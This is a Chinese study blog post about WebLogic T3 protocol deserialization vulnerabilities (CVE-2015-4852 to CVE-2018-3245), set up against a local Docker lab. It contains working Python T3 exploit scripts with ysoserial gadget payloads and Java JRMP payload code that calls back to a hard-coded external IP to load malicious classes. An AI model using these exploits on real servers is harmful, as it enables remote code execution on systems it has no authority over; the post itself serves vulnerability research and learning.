WeblogicT3协议反序列化漏洞学习
2024-04-04 20:58:22

参考:
Weblogic全漏洞学习 - Boogiepop Doesn’t Laugh (boogipop.com)
Weblogic学习:T3反序列化 - sp4z’s Blog (sp4zcmd.github.io)
https://y4er.com/posts/weblogic-jrmp/
从头到尾调试了很多遍,踩了一些坑,总算理解了

T3协议学习

T3协议是WebLogic专有的协议,类似于RMI协议,用于传输数据,会对对象进行序列化和反序列化
T3协议包内容,取自于@sp4z师傅
Pasted image 20240402131145.png
Pasted image 20240402131152.png
第二到第七部分内容,开头都是ac ed 00 05,说明这些都是序列化的数据。只要把其中一部分替换成我们的序列化数据就可以了,有两种替换方式

  1. 将weblogic发送的JAVA序列化数据的第二到九部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。
  2. 将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。

使用脚本进行攻击

from os import popen  
import struct  # 负责大小端的转换  
import subprocess  
from sys import stdout  
import socket  
import re  
import binascii  
  
  
def generatePayload(gadget, cmd):  
    YSO_PATH = "ysoserial.jar"  
    popen = subprocess.Popen(['D:\jdk\jdk1.8.0_202\\bin\java.exe', '-jar', YSO_PATH, gadget, cmd], stdout=subprocess.PIPE)  
    return popen.stdout.read()  
  
  
def T3Exploit(ip, port, payload):  
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
    sock.connect((ip, port))  
    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"  
    sock.sendall(handshake.encode())  
    data = sock.recv(1024)  
    compile = re.compile("HELO:(.*).0.false")  
    match = compile.findall(data.decode())  
    if match:  
        print("Weblogic: " + "".join(match))  
    else:  
        print("Not Weblogic")  
        # return  
    header = binascii.a2b_hex(b"00000000")  
    t3header = binascii.a2b_hex(  
        b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")  
    desflag = binascii.a2b_hex(b"fe010000")  
    payload = header + t3header + desflag + payload  
    payload = struct.pack(">I", len(payload)) + payload[4:]  
    sock.send(payload)  
  
  
if __name__ == "__main__":  
    ip = "127.0.0.1"  
    port = 7001  
    gadget = "CommonsCollections6"  
    cmd = "touch /tmp/success"  
    payload = generatePayload(gadget, cmd)  
    T3Exploit(ip, port, payload)

Pasted image 20240402154134.png
抓一下攻击流量
Pasted image 20240402155710.png
7a456434350c5c5b45899c643a81163d.png
反序列化标志,以及前面的t3协议头

环境搭建

github项目:
QAX-A-Team/WeblogicEnvironment: Weblogic环境搭建工具 (github.com)
weblogic和jdk下载,JDK8随便选个版本,jdk7也能跑,可以去配合jdk7u21的链子玩
Java Archive Downloads - Java SE 8 (oracle.com)
Free Oracle WebLogic Server 12c (12.2.1) Installers for Development
在dockerfile的RUN yum -y install libnsl前添加,他没配yum源

RUN cd /etc/yum.repos.d/  
RUN sed -i 's/mirrorlist/#mirrorlist/g' /etc/yum.repos.d/CentOS-*  
RUN sed -i 's|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g' /etc/yum.repos.d/CentOS-*

在项目中创建jdks和weblogics,把下载好的jdk压缩包和weblogic jar放进去
build一下,然后启动

docker build --build-arg JDK_PKG=jdk-8u202-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk8u202 .

docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk8u202 weblogic1036jdk8u202

远程调试

导出源码和依赖

docker cp weblogic1036jdk8u202:/u01/app/oracle/middleware/modules ./middleware/

docker cp weblogic1036jdk8u202:/u01/app/oracle/middleware/wlserver ./middleware/

docker cp weblogic1036jdk8u202:/u01/app/oracle/middleware/coherence_3.7/lib ./lib

IDEA打开wlserver文件夹,导入module和lib,添加远程JVM调试即可
Pasted image 20240402154003.png

前置知识

在Weblogic从流量中的序列化类字节段通过readClassDesc-readNonProxyDesc-resolveClass获取到普通类序列化数据的类对象后,程序依次尝试调用类对象中的readObject、readResolve、readExternal等方法
个人说法:readObject中会对反序列化的类进行判断,如果符合IsExternalizable就会进入readExternalData,就会调用readExternal方法,是一种另类的序列化和反序列化
Pasted image 20240403171649.png
后续会继续调用readResolve方法
Pasted image 20240403182013.png
配上一张图
Pasted image 20240402171055.png

CVE-2015-4852

就是上面学习协议的脚本,在InboundMsgAbbrev#readObject中打上断点
Pasted image 20240402165044.png
进入(new InboundMsgAbbrev.ServerChannelInputStream(var1)).readObject()
Pasted image 20240402165054.png

private static class ServerChannelInputStream extends ObjectInputStream implements ServerChannelStream {  
    private final ServerChannel serverChannel;  
  
    private ServerChannelInputStream(MsgAbbrevInputStream var1) throws IOException {  
        super(var1);  
        this.serverChannel = var1.getServerChannel();  
    }  
  
    public ServerChannel getServerChannel() {  
        return this.serverChannel;  
    }  
  
    protected Class resolveClass(ObjectStreamClass var1) throws ClassNotFoundException, IOException {  
        Class var2 = super.resolveClass(var1);  
        if (var2 == null) {  
            throw new ClassNotFoundException("super.resolveClass returns null.");  
        } else {  
            ObjectStreamClass var3 = ObjectStreamClass.lookup(var2);  
            if (var3 != null && var3.getSerialVersionUID() != var1.getSerialVersionUID()) {  
                throw new ClassNotFoundException("different serialVersionUID. local: " + var3.getSerialVersionUID() + " remote: " + var1.getSerialVersionUID());  
            } else {  
                return var2;  
            }  
        }  
    }  
}

可以看见继承了ObjectInputStream,构造函数调用了父类的方法,并且实现了resolveClass
resolveClass中并未添加相关黑名单,只是对是否class是否为null和SerialVersionUID进行了检查,所以就可以打任意的反序列化链,而在weblogic中是自带cc3.2.0的,我们就可以打cc链
Pasted image 20240402165555.png
附上攻击调用图,从师傅博客里扒的,这里我就不多说了
Pasted image 20240402165654.png

漏洞修复

漏洞的修复就是在resolveclasss中添加了黑名单
Pasted image 20240402165838.png
Pasted image 20240402170708.png

CVE-2016-0638

对于上一个漏洞修复的bypass,最终找到了StreamMessageImpl#readExternal,符合IsExternalizable
Pasted image 20240403171921.png
Pasted image 20240402211727.png
并且其readExternal方法会对var5调用readObject,从而造成二次反序列化,想要使用还需要对StreamMessageImpl#writeExternal进行修改
参考项目:
5up3rc/weblogic_cmd: weblogic t3 deserialization rce (github.com)

public void writeExternal(ObjectOutput paramObjectOutput) throws IOException {  
    super.writeExternal(paramObjectOutput);  
    paramObjectOutput.writeByte(1);  //var1.readByte() 
    paramObjectOutput.writeInt(getDataSize());  //createPayload中
    paramObjectOutput.write(getDataBuffer()); //this.payload.getInputStream
}

Pasted image 20240403174049.png
附上攻击图
Pasted image 20240403170842.png

漏洞修复

Pasted image 20240403174506.png
也就是给StreamMessageImpl#readExternal重写了resolveclass,设置了黑名单

CVE-2016-3510

类似于上面那种,是一个新的类weblogic.corba.utils.MarshalledObject
其readResolve方法,赤裸裸的反序列化
Pasted image 20240403175001.png
构造也很简单,设置this.objBytes即可,这里直接把恶意类丢进构造函数就可以
Pasted image 20240403182335.png

漏洞修复

修复也是同样丢进了黑名单

CVE-2017-3248

此后便进入了JRMP攻击时代
从别人博客扒的图
Pasted image 20240404105004.png
payload,使其开启一个JRMPClient,并向指定地址发起请求,也可以用ysoserial直接生成

String host = "43.137.36.145";  
Integer port = 8888;  
  
ObjID id = new ObjID(1); // RMI registry  
TCPEndpoint te = new TCPEndpoint(host, port);  
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));  
RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(ref);  
String serialize = tools.serialize(remoteObjectInvocationHandler);  
tools.serialize_file(remoteObjectInvocationHandler,"F:\\study\\weblogic\\weblogic_attack\\1.out");
java -jar ysoserial.jar JRMPClient ip port > 1.out

来个python攻击脚本,java写的T3协议又臭又长

import binascii  
import os  
import re  
import socket  
import struct  # 负责大小端的转换  
import subprocess

def T3Exploit(ip, port, payload):  
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
    sock.connect((ip, port))  
    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"  
    sock.sendall(handshake.encode())  
    data = sock.recv(1024)  
    compile = re.compile("HELO:(.*).0.false")  
    match = compile.findall(data.decode())  
    if match:  
        print("Weblogic: " + "".join(match))  
    else:  
        print("Not Weblogic")  
        # return  
    header = binascii.a2b_hex(b"00000000")  
    t3header = binascii.a2b_hex(  
        b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")  
    desflag = binascii.a2b_hex(b"fe010000")  
    payload = header + t3header + desflag + payload  
    payload = struct.pack(">I", len(payload)) + payload[4:]  
    sock.send(payload)  
  
  
if __name__ == "__main__":  
    payload = open("1.out","rb").read()  
  
    ip = "127.0.0.1"  
    port = 7001  
    T3Exploit(ip, port, payload)

记得开JRMPListner

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections6 'calc'

实际上就是反序列化打的rmi的gadgets,在开启一个JRMPClient并向远程的JRMPLIstener发起请求,JRMPListener返回恶意的类,最终在本地进行二次反序列化

漏洞修复

把java.rmi.registry.Registry接口丢进了接口黑名单
实际上大部分查询到的文章payload如下,我在调试时也没发现进入了invoke,还是正常走的readObject的流程,很怪

String host = "43.137.36.145";
Integer port = 8888;

ObjID id = new ObjID(1); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(poc.class.getClassLoader(), new Class[] {
    Registry.class
}, remoteObjectInvocationHandler);

CVE-2018-2628|2893|3245

学过RMI的实际上就能知道,除了RemoteObjectInvocationHandler还能使用UnicastRef、UnicastRemoteObject、ActivationGroupImpl、RMIConnectionImpl_Stub等
pyn3rd/CVE-2018-3245: CVE-2018-3245-PoC (github.com)
文章中给出了方法,其实最终都是在调用UnicastRef对JRMPListener发起请求
Pasted image 20240404184725.png


来到CVE2018-2893,UnicastRef被加入了黑名单
此时使用StreamMessageImpl对外层进行封装,因为StreamMessageImpl的反序列化检查并没有检查Registry接口,所以就可以去继续使用被修复的RemoteObjectInvocationHandler
在使用RemoteObjectInvocationHandler作为最外层时,UnicastRef并没有参与反序列化,只是作为一个类名进行调用,在writeObject中可看出
Pasted image 20240404185947.png
Pasted image 20240404185300.png


来到CVE2018-3245
把RemoteObjectInvocationHandler给过滤了,然后就有了代替品RMIConnectionImpl_Stub,实际上就是找RemoteObject可用的子类

Prev
2024-04-04 20:58:22
Next